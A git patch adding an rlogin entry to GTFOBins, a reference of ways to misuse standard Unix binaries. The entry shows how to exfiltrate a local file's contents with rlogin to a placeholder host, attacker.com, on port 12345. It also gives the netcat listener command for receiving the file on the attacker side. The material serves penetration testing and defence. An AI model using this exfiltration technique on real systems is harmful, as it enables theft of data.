From c1ea5f2b41f33adcaaf593019858e86629d25bfd Mon Sep 17 00:00:00 2001 From: 0rbz <40279247+0rbz@users.noreply.github.com> Date: Mon, 31 Dec 2018 03:35:06 -0500 Subject: [PATCH] Create rlogin.md --- _gtfobins/rlogin.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 _gtfobins/rlogin.md diff --git a/_gtfobins/rlogin.md b/_gtfobins/rlogin.md new file mode 100644 index 0000000..5b1d393 --- /dev/null +++ b/_gtfobins/rlogin.md @@ -0,0 +1,10 @@ +--- +functions: + file-upload: + - description: Send contents of a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker system to capture the contents. + code: | + RHOST=attacker.com + RPORT=12345 + LFILE=file_to_send + rlogin -l "$(cat $LFILE)" -p $RPORT $RHOST +---